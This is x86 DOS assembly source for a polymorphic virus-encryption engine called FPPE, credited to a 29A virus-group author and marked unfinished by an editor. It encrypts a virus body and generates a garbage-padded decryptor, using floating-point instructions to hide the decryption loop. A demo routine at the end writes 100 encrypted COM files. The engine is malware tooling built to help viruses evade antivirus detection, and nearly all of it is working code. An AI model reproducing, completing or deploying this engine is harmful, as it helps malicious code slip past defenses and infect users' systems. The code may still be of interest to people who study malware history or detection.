;=======================================; ; ; ; F P P E ; ; ; ; (Floating Point Polymorphic Engine) ; ; ; ;---------------------------------------; ; Made by Super/29A ; ;=======================================; ;Input: ; DS=ES=CS ; SI=start of virus to encrypt ; DI=buffer where decryptor+virus will be stored ; BP=offset where the decryptor will start execution ; CX=length of virus ; ;Output: ; CX=length of decryptor+virus ; [* Unfinished. Anyway is a good idea done by my friend Super, and of ; course, a good contribution indeed - BB *] FPPE proc near ;ds=es=cs pusha mov bp,sp ;[BP+00]=DI ;[BP+02]=SI ;[BP+04]=BP ;[BP+06]=SP ;[BP+08]=BX ;[BP+0A]=DX ;[BP+0C]=CX ;[BP+0E]=AX cld finit ;initialize the math processor push di mov si,offset fppe_decrypt_loop ;select decrypt operation call random and ax,11110 xchg bx,ax mov ax,[si+bx+(fppe_decrypt_operations-fppe_decrypt_loop)] or ah,(00000101b) ;to select di as index mov [si],ax ;store encrypt opcode call random and al,111b add al,7 mov [fppe_decrypt_offset],al stosb ;store decrypt offset mov byte ptr [si+(fppe_decrypt_key-fppe_decrypt_loop)],90h mov dx,0fae2h ;the loop instruction cmp bl,8 jb only_three_bytes1 mov dh,0f9h ;the loop instruction call random mov [fppe_decrypt_key],al stosb ;store decrypt key only_three_bytes1: xor bl,10b ;select inverse decrypt operation mov cx,[si+bx+(fppe_decrypt_operations-fppe_decrypt_loop)] ;select index register call random and ax,11b xchg bx,ax or ch,[si+bx+(fppe_ptr_mmm_table-fppe_decrypt_loop)] mov al,040h or al,[si+bx+(fppe_ptr_rrr_table-fppe_decrypt_loop)] stosb ;store inc ptr xchg dx,ax stosw ;store loop instruction xchg di,ax pop di sub ax,di push ax ;number of bytes of the decryptor loop mov [di],cx ;fix the inverse decryption operation fild qword ptr [di] ;remember decryptor loop mov al,0b8h or al,[si+bx+(fppe_ptr_rrr_table-fppe_decrypt_loop)] mov byte ptr [fppe_mov_ptr_imm],al ;fix mov_ptr instruction xor ax,ax push ax ;indicate which useful instructions are completed or al,[si+bx+(fppe_ptr_mmm_table-fppe_decrypt_loop)] mov byte ptr [fppe_fild_mmm],al ;fix esc_fild instruction mov al,38h or al,[di-2+bx+(fppe_ptr_mmm_table-fppe_decrypt_loop)] mov byte ptr [fppe_fstp_mmm],al ;fix esc_fistp instruction shl bx,1 push word ptr [di-2+bx+(fppe_illegal_reg_table-fppe_decrypt_loop)] sub sp,2*8 ;offsets of each useful instruction complete_useful_instructions: call FPPE_garbage ;add garbage and useful instructions cmp byte ptr [bp-4],11111111b jnz complete_useful_instructions fistp qword ptr [di] ;store decrytor loop mov bx,[bp-0ch] ;get offset of ptr value to fix mov ax,[bp+4] ;add the offset at which code will start executing add ax,di sub ax,[bp+0] ;get offset of encrypted code mov [bx+1],ax ;fix ptr value push di add di,[bp-2] ;skip decryptor loop call FPPE_garbage ;add more garbage before virus mov si,[bp+2] mov cx,[bp+0ch] rep movsb ;copy virus code to buffer mov bx,[bp-0eh] ;get offset of ctr value to fix mov dx,di sub dx,[bp-2] ;skip the decryptor loop pop di sub dx,di mov [bx+1],dx ;fix ctr value ;now let's encrypt fppe_decrypt_loop: xor byte ptr [di+69],69 org $-4 fppe_decrypt_opcode dw ? fppe_decrypt_offset db ? fppe_decrypt_key db ? inc di org $-1 fppe_decrypt_inc_ptr db ? loop fppe_decrypt_loop call FPPE_garbage ;add more garbage after virus sub di,[bp+0] mov [bp+0ch],di ;so as to return total length in CX mov sp,bp popa ret fppe_decrypt_operations: ;three byte instructions db (10000000b),(01110000b) ;xor [ptr+8],imm8 ; +0+0 db (10000000b),(01110000b) ;xor [ptr+8],imm8 ; +0+2 db (10000000b),(01000000b) ;add [ptr+8],imm8 ; +4+0 db (10000000b),(01101000b) ;sub [ptr+8],imm8 ; +4+2 ;four byte instructions db (00110000b),(01001000b) ;xor [ptr+8],cl ; +8+0 db (00110000b),(01001000b) ;xor [ptr+8],cl ; +8+2 db (00000000b),(01001000b) ;add [ptr+8],cl ; +12+0 db (00101000b),(01001000b) ;sub [ptr+8],cl ; +12+2 db (00110000b),(01101000b) ;xor [ptr+8],ch ; +16+0 db (00110000b),(01101000b) ;xor [ptr+8],ch ; +16+2 db (00000000b),(01101000b) ;add [ptr+8],ch ; +20+0 db (00101000b),(01101000b) ;sub [ptr+8],ch ; +20+2 db (11010000b),(01001000b) ;ror [ptr+8],1 ; +24+0 db (11010000b),(01000000b) ;rol [ptr+8],1 ; +24+2 db (11010010b),(01001000b) ;ror [ptr+8],cl ; +28+0 db (11010010b),(01000000b) ;rol [ptr+8],cl ; +28+2 fppe_ptr_rrr_table: db (00000011b) ;bx db (00000011b) ;bx db (00000110b) ;si db (00000111b) ;di fppe_ptr_mmm_table: db (00000111b) ;bx db (00000111b) ;bx db (00000100b) ;si db (00000101b) ;di fppe_illegal_reg_table: ;DI SI BP SP BX DX CX AX , BH DH CH AH BL DL CL AL db (10101010b),(00011010b) ;illegal regs for BX index db (10101010b),(00011010b) ;illegal regs for BX index db (00100010b),(01010010b) ;illegal regs for SI index db (00100010b),(10010010b) ;illegal regs for DI index instruction_order_table: ;/finit /pushcs /popds /movctr /movptr /fild /fchs /fistp ;00000001/00000010/00000100/00001000/00010000/00100000/01000000/10000000 db 00000000b db 00000000b db 00000010b ;popds must be preceded by pushcs db 00000000b db 00000000b db 00010111b ;fild must be preceded by finit,pushcs,popds,movptr db 00110111b ;fxxx must be preceded by finit,pushcs,popds,movptr,fild db 01110111b ;fistp must be preceded by finit,pushcs,popds,movptr,fild,fchs fppe_routines_table: db (esc_finit-fppe_routines_table) db (push_cs-fppe_routines_table) db (pop_ds-fppe_routines_table) db (mov_ctr-fppe_routines_table) db (mov_ptr-fppe_routines_table) db (esc_fild-fppe_routines_table) db (esc_fchs-fppe_routines_table) db (esc_fistp-fppe_routines_table) db (conditional_jmp-fppe_routines_table) db (one_byters-fppe_routines_table) db (one_byters-fppe_routines_table) db (one_byters-fppe_routines_table) db (one_byters_reg16-fppe_routines_table) db (one_byters_reg16-fppe_routines_table) db (family_al_imm-fppe_routines_table) db (family_ax_imm-fppe_routines_table) db (mov_reg8_imm-fppe_routines_table) db (mov_reg8_imm-fppe_routines_table) db (mov_reg16_imm-fppe_routines_table) db (mov_reg16_imm-fppe_routines_table) db (mov_reg16_imm-fppe_routines_table) db (inc_dec_reg-fppe_routines_table) db (shift_rotate-fppe_routines_table) db (family_reg_imm-fppe_routines_table) db (family_reg_imm-fppe_routines_table) db (family_reg_imm-fppe_routines_table) db (mov_reg_reg-fppe_routines_table) db (mov_reg_reg-fppe_routines_table) db (mov_reg_reg-fppe_routines_table) db (family_reg_reg-fppe_routines_table) db (family_reg_reg-fppe_routines_table) db (family_reg_reg-fppe_routines_table) A_NOTHING equ 00000000b ;skip this two bits A_RND_BYTE equ 00000001b ;store random byte A_GET_BYTE equ 00000010b ;store next byte A_SELECT_BYTE equ 00000011b ;next byte is number of choices followed by... B_NOTHING equ 00000000b ;skip this two bits B_REG8_REG16 equ 00000100b ;next byte is a mask to set reg8/reg16 B_MASK equ 00001000b ;next byte is mask B_MASK_ILLEGAL equ 00001100b ;next byte is ilegal mask, next is mask C_NOTHING equ 00000000b ;skip this two bits C_TEST_REG equ 00010000b ;test if mask is a valid source reg D_NOTHING equ 00000000b ;skip this two bits D_END_STRING equ 01000000b ;the instruction is completed D_GOTO_STRING equ 10000000b ;continue processing at other offset D_DO_CALL equ 11000000b ;call a routine and then continue one_byters: db A_SELECT_BYTE+B_NOTHING+C_NOTHING+D_END_STRING db (1111b) db (11111100b) ;cld db (11111100b) ;cld db (11111100b) ;std db (11111000b) ;clc db (11111001b) ;stc db (11110101b) ;cmc db (10011000b) ;cbw db (10011001b) ;cwd db (10011110b) ;sahf db (10011111b) ;lahf db (11010111b) ;xlat db (00110111b) ;aaa db (00100111b) ;daa db (00111111b) ;aas db (00101111b) ;das db (10011011b) ;wait esc_finit: db A_GET_BYTE+B_NOTHING+C_NOTHING+D_NOTHING db (11011011b) db A_GET_BYTE++B_NOTHING+C_NOTHING+D_END_STRING db (11100011b) push_cs: db A_GET_BYTE+B_NOTHING+C_NOTHING+D_END_STRING db (00001110b) ;push cs pop_ds: db A_GET_BYTE+B_NOTHING+C_NOTHING+D_END_STRING db (00011111b) ;pop ds mov_ctr: ;mov cx,imm db A_GET_BYTE+D_GOTO_STRING db (10111001b),(rnd_word-$-1) mov_ptr: ;mov index_reg,imm db A_GET_BYTE+D_GOTO_STRING fppe_mov_ptr_imm: db ? db (rnd_word-$-1) esc_fild: db A_GET_BYTE db (11011101b) ;fld qword ptr [index_reg] db A_GET_BYTE+D_END_STRING fppe_fild_mmm: db ? esc_fchs: db A_GET_BYTE db (11011001b) db A_GET_BYTE+D_END_STRING db (11100000b) esc_fistp: db A_GET_BYTE db (11011111b) ;fistp qword ptr [index_reg] db A_GET_BYTE+D_END_STRING fppe_fstp_mmm: db ? conditional_jmp: db A_GET_BYTE+B_MASK db (01110000b),(00001111b) db A_GET_BYTE db (00000001b) db A_GET_BYTE+D_END_STRING db (10010000b) one_byters_reg16: db A_SELECT_BYTE+B_MASK+C_TEST_REG+D_END_STRING db (11b) db (10010000b) ;xchg ax,reg16 db (10010000b) ;xchg ax,reg16 db (01000000b) ;dec reg16 db (01001000b) ;inc reg16 db (00000111b) family_al_imm: db A_GET_BYTE+B_MASK+D_GOTO_STRING db (00000100b),(00111000b),(rnd_byte-$-1) family_ax_imm: db A_GET_BYTE+B_MASK+D_GOTO_STRING db (00000101b),(00111000b),(rnd_word-$-1) mov_reg8_imm: db A_GET_BYTE+B_MASK+C_TEST_REG+D_GOTO_STRING db (10110000b),(00000111b),(rnd_byte-$-1) mov_reg16_imm: db A_GET_BYTE+B_MASK+C_TEST_REG db (10111000b),(00000111b) rnd_word: db A_GET_BYTE+B_MASK db (00000000b),(11111111b) rnd_byte: db A_GET_BYTE+B_MASK+D_END_STRING db (00000000b),(11111111b) inc_dec_reg: db A_GET_BYTE+B_MASK db (11111110b),(00000001b) db A_GET_BYTE+B_MASK+D_GOTO_STRING db (11000000b),(00001000b),(check_one_reg-$-1) shift_rotate: db A_GET_BYTE+B_MASK db (11010000b),(00000011b) db A_GET_BYTE+B_MASK db (11000000b),(00101000b) check_one_reg: db B_MASK+C_TEST_REG+D_END_STRING db (00000111b) family_reg_imm: db A_GET_BYTE+B_MASK db (10000000b),(00000001b) db A_GET_BYTE+B_MASK db (11000000b),(00111000b) special_check1: db B_MASK+C_TEST_REG+D_END_STRING db (00000111b) mov_reg_reg: ;mov reg,reg/mem db A_GET_BYTE+B_MASK+D_GOTO_STRING db (10001010b),(00000001b),(do_reg_reg-$-1) family_reg_reg: ;add/or/adc/sbb/and/sub/xor/cmp reg,reg/mem db A_GET_BYTE+B_MASK db (00000010b),(00111001b) do_reg_reg: db A_GET_BYTE+B_MASK;store a zero byte and apply mask db (00000000b),(11000000b) db B_MASK+C_TEST_REG db (00111000b) special_check2: db B_MASK+C_TEST_REG+D_END_STRING db (00000111b) FPPE_garbage proc near push di invalid_instruction: pop di call random and ax,1fh cmp al,8 jae not_useful_instruction xchg si,ax mov bx,offset instruction_order_table mov cl,[bp-4] and cl,[bx+si] cmp cl,[bx+si] xchg si,ax next_garbage2: jnz FPPE_garbage bts [bp-4],ax jb FPPE_garbage shl si,1 mov [bp+si-16h],di ;[BP-02]=number of bytes of decryptor loop ;[BP-04]=illegal reg mask ;[BP-06]=completed instruction mask ;[BP-08]=offset of fistp instruction ;[BP-0A]=offset of fchs instruction ;[BP-0C]=offset of fild instruction ;[BP-0E]=offset of movptr instruction ;[BP-10]=offset of movctr instruction ;[BP-12]=offset of popds instruction ;[BP-14]=offset of pushcs instruction ;[BP-16]=offset of finit instruction not_useful_instruction: mov si,offset fppe_routines_table mov bx,ax mov al,[si+bx] add si,ax push di continue_instruction: lodsb xchg dx,ax ;(dh=0) if we turn it to dh=1 will select reg8 call jumps_group jumps_group_A: db (group_A_0-jumps_group_A) db (group_A_1-jumps_group_A) db (group_A_2-jumps_group_A) db (group_A_3-jumps_group_A) group_A_3: mov cl,[si] inc si and ax,cx xchg bx,ax mov al,[bx+si] add si,cx inc si db 0a8h ;skip next byte group_A_2: lodsb group_A_1: stosb group_A_0: call jumps_group jumps_group_B: db (group_B_0-jumps_group_B) db (group_B_1-jumps_group_B) db (group_B_2-jumps_group_B) db (group_B_3-jumps_group_B) group_B_3: test al,[si] jnz group_B_2 ;reg16, so leave dh=0 or dh,1 ;we select reg8 group_B_2: mov al,0ffh db 0a8h ;skip next byte group_B_1: lodsb mov ah,al xchg cx,ax lodsb and cl,al cmp cl,ch jz invalid_instruction group_B_0: call jumps_group jumps_group_C: db (group_C_0-jumps_group_C) db (group_C_1-jumps_group_C) group_C_1: xchg bx,ax ; ah=0, so now bh=0 lodsb and ax,bx push ax cmp al,111b jbe no_correction shr al,3 no_correction: test dh,1 jnz it_is_reg8 add al,8 ;so as to test reg16 it_is_reg8: bt word ptr [bp-6],ax pop ax jb invalid_instruction or al,cl stosb group_C_0: call jumps_group jumps_group_D: db (group_D_0-jumps_group_D) db (group_D_1-jumps_group_D) db (group_D_2-jumps_group_D) db (group_D_3-jumps_group_D) group_D_3: lodsb add bx,ax call bx jmp group_D_0 group_D_2: lodsb add si,ax group_D_0: jmp continue_instruction group_D_1: ;the instruction is now completed call random and al,111b jnz next_garbage2 ;do some more garbage ret do_call_0: do_call_1: do_call_2: ret jumps_group: mov ax,11b and ax,dx ror dl,2 jumps_group2: pop bx xlat add bx,ax call random ;(ah=0) jmp bx FPPE_garbage endp FPPE endp ;=================================================================== random proc near in al,40h ror al,1 xor al,0 org $-1 seed db ? mov [seed],al ;(ah must be not touched) ret random endp ;=================================================================== end start ; Acabalo como puedas... ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú- ; FPPE demo .model tiny .code .386 org 100h start: ;=================================================================== mov ah,9 mov dx,offset message int 21h mov cx,100 ;100 files next_file: push cx xchg cx,ax dec ax aam add ax,3030h mov word ptr [4+offset demo_file],ax mov si,offset demo_code ;code to encrypt mov di,1000h ;buffer to store decryptor+crypted_code mov bp,100h ;code will start on 100h mov bx,666 ;maximum length of decryptor mov cx,demo_size ;length of the code to encrypt call FPPE ;just do it :) push cx mov ah,3ch xor cx,cx mov dx,offset demo_file int 21h xchg bx,ax pop cx mov dx,di mov ah,40h int 21h mov ah,3eh int 21h pop cx loop next_file mov ax,4c00h int 21h message db 'This program generates 100 demo files (DEMO??.COM)',13,10 db 'using the FPPE (Floating Point Polymorphic Engine)',13,10,'$' demo_file db 'demo00.com',0 demo_code: call demo_code1 db 'This text was encrypted with FPPE$' demo_code1: pop dx mov ah,9 int 21h mov ax,4c00h int 21h demo_size equ $-offset demo_code org 100h+1000